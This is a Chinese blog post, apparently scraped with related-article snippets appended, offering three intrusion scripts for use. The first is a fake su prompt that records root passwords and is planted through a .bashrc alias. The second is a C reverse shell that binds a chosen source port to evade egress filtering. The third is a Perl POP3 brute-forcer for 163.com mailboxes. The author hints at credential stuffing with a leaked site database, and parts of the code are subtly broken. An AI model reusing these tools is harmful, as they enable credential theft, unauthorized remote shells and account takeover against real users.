入侵渗透专用的python小脚本

渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用。

一、记录root密码小工具

root.py

  1. #!/usr/bin/python
  2. import os, sys, getpass, time
  3. current_time = time.strftime("%Y-%m-%d %H:%M")
  4. logfile="/dev/shm/.su.log"              //密码获取后记录在这里
  5. #CentOS
  6. #fail_str = "su: incorrect password"
  7. #Ubuntu
  8. #fail_str = "su: Authentication failure"
  9. #For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样
  10. fail_str = "su: incorrect password"
  11. try:
  12. passwd = getpass.getpass(prompt=‘Password: ‘);
  13. file=open(logfile,‘a‘)
  14. file.write("[%s]t%s"%(passwd, current_time))   //截取root密码
  15. file.write(‘n‘)
  16. file.close()
  17. except:
  18. pass
  19. time.sleep(1)
  20. print fail_str                               //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

二、设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。

比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

  1. #include
  2. #include
  3. #include
  4. #include
  5. #include
  6. void error(char *msg)
  7. {
  8. perror(msg);
  9. exit(0);
  10. }
  11. int main(int argc, char *argv[])
  12. {
  13. int sockfd, portno, lportno,n;
  14. struct sockaddr_in serv_addr;
  15. struct sockaddr_in client_addr;
  16. struct hostent *server;
  17. char buffer[256];
  18. if (argc < 3) {
  19. fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);
  20. exit(0);
  21. } //三个参数,目标主机,目标主机端口,本地源端口
  22. portno = atoi(argv[2]);
  23. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  24. if (sockfd < 0)
  25. error("ERROR opening socket");
  26. bzero((char *) &client_addr, sizeof(client_addr));
  27. lportno = atoi(argv[3]);
  28. client_addr.sin_family = AF_INET;
  29. client_addr.sin_addr.s_addr = INADDR_ANY;
  30. client_addr.sin_port = htons(lportno); //设置源端口
  31. if (bind(sockfd, (struct sockaddr *) &client_addr,
  32. sizeof(client_addr)) < 0)
  33. error("ERROR on binding");
  34. server = gethostbyname(argv[1]);
  35. if (server == NULL) {
  36. fprintf(stderr,"ERROR, no such host ");
  37. exit(0);
  38. }
  39. bzero((char *) &serv_addr, sizeof(serv_addr));
  40. serv_addr.sin_family = AF_INET;
  41. bcopy((char *)server->h_addr,
  42. (char *)&serv_addr.sin_addr.s_addr,
  43. server->h_length);
  44. serv_addr.sin_port = htons(portno);
  45. if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //连接
  46. error("ERROR connecting");
  47. dup2(fd, 0);
  48. dup2(fd, 1);
  49. dup2(fd, 2);
  50. execl("/bin/sh","sh -i", NULL); //执行shell
  51. close(fd);
  52. }

用法:

  1. gcc client-port.c -o port
  2. chmod +x port
  3. ./port  你的IP 你的监听端口 本地的源端口

如 ./port http://www.91ri.org 80 80

成功反弹shell 提权成功

三、邮箱爆破脚本

某个时候,需要爆破一批邮箱。

Burp163.pl

  1. #!/usr/bin/perl
  2. use Net::POP3;
  3. $email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com
  4. $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
  5. print $pop->banner();
  6. $pop->quit;
  7. $i=0;
  8. open(fp1,"user.txt");
  9. @array1=<fp1>;
  10. open(fp2,"pass.txt");
  11. @array2=<fp2>;                     //从文件中获取邮箱用户名及密码
  12. foreach $a(@array1) {
  13. $u=substr($a,0,length($a)-1);
  14. $u=$u."@163.com";
  15. foreach $b(@array2) {
  16. $p=substr($b,0,length($b)-1);
  17. print "cracked with ".$u."-----".$p."n";
  18. $i=$i+1;
  19. $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
  20. $m=$pop->login($u,$p);              //尝试登录邮箱
  21. if($m>0)
  22. {
  23. print $u."------------".$p."----"."success"."n";
  24. $pop->quit;
  25. }                                //成功登录
  26. else
  27. {
  28. print $u."------------".$p."----"."failed"."n";
  29. $pop->quit;                                     //登录失败
  30. }
  31. }
  32. }
  33. print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

  1. $email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如[email protected] 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说:这个有点鸡肋吧?万一邮箱的密码很复杂。

呵呵。

搞到了一个小站的数据,用这个程序批量测试密码是否就是邮箱密码。

呵呵,我啥都没说。

入侵渗透专用的python小脚本

时间: 2024-08-08 03:41:19

入侵渗透专用的python小脚本的相关文章

短小实用 渗透用的Python小脚本

http://netsecurity.51cto.com/art/201404/436517.htm?from=message&isappinstalled=0 渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用. 一.记录root密码小工具 root.py #!/usr/bin/python import os, sys, getpass, time current_time = time.strftime("

分享一个刷网页PV的python小脚本

下面分享一个小脚本,用来刷网页PV. [[email protected] ~]# cat www.py #!/usr/bin/python# coding: UTF-8import webbrowser as webimport timeimport osimport randomdata = raw_input('请输入网址:')count = random.randint (3,5)j = 0while j <count: i = 0 while i <= 3: web.open_new

python 小脚本升级-- 钉钉群聊天机器人

一则小脚本(工作中用) 在这篇文章中写的监控的脚本,发送监控的时候 是利用的邮箱,其实在实际,邮箱查收有着不方便性,于是乎升级, 我们工作中,经常用钉钉,那么如果要是能用到钉钉多好,这样我们的监控成功后直接发送给我们的钉钉,简单方便 在钉钉开发文档有这么一个地方 ,自定义机器人 这个应该能够满足我们的办公要求吧,先来实验实验,打开钉钉,选择机器人管理. 使用自定义的机器人,点击 选择群,选择生成的机器人 然后创建, 这样我们的机器人创建成功,我们去看着文档的要求去,可惜官方没有python版本,

将二级目录下的文件合并成一个文件的Python小脚本

这个小程序的目的是将二级目录下的文件全部合并成一个文件(其实几级目录都可以,只要做少许改动) 1 #coding:utf8 2 import sys, os 3 4 def process(path): 5 new_file = open("file_1", "a+") 6 for secDir in os.listdir(path): 7 for f in os.listdir(path + "/" + secDir): 8 fin = ope

python小脚本批量创建用户和ssh互信

#!/usr/bin/python from fabric.api import * for i in range(24,34): host = '[email protected]' + str(i) env.hosts.append(host) env.password = '111111' def addusers(): sudo('useradd -d /home/ctier -s /bin/bash ctier;echo ctier:"123456" | chpasswd')

一个python小脚本——合并一个文件夹下的所有文本

#coding:utf8import sys,os def process(path): for f in os.listdir(path): fin = open(path+"/"+f,"r") print fin.read() fin.close() if __name__ == "__main__": process(sys.argv[1]) linux执行:

写一个php小脚本辅助渗透测试

因为一个注入要爬行一些数据,然后写的一个小脚本,能写脚本来辅助渗透,也算是里程碑.哈哈哈 <?php $num = 1; while ($num <= 39) { $web_url = "http://www.xxx.com/shownews.asp?id=626%0AUNION%0ASELECT%0Atop%0A1%0A1,user_username,3,user_password,5,6%0Afrom%0A(select%0Atop%0A1%0Auser_username,use

【工作中的Python】随机点名小脚本

背景:项目组每周的例会中,有一项固定内容就是技术分享,可以是与工作相关或无关的任何技术主题.进行技术分享讲解的同学是随机抽签的.由此做了一个Python的小脚本用于抽取姓名. 脚本内容如下: #!/usr/bin/python import os import sys import tty, termios import random name_list = ["member_1","member_2","member_3"] input = '

查看Linux服务器网卡流量小脚本shell和Python各一例

有时我们需要较为实时的查看服务器上的网卡流量,这里我写了两个小脚本,一个用shell(先写的,一次只能查看一个网卡),另一个用Python(后写的,一次可查看多个网卡).脚本中都用了while true"死循环",每隔10s从"/proc/net/dev"中取一次值并根据10s内的差值计算10s内的平均带宽:按ctrl+c停止执行.脚本兼容centos6和7 两个脚本都不太复杂,而且脚本中注释也比较细致,所以我就不过多解释脚本内容了.直接上图上脚本: shell版-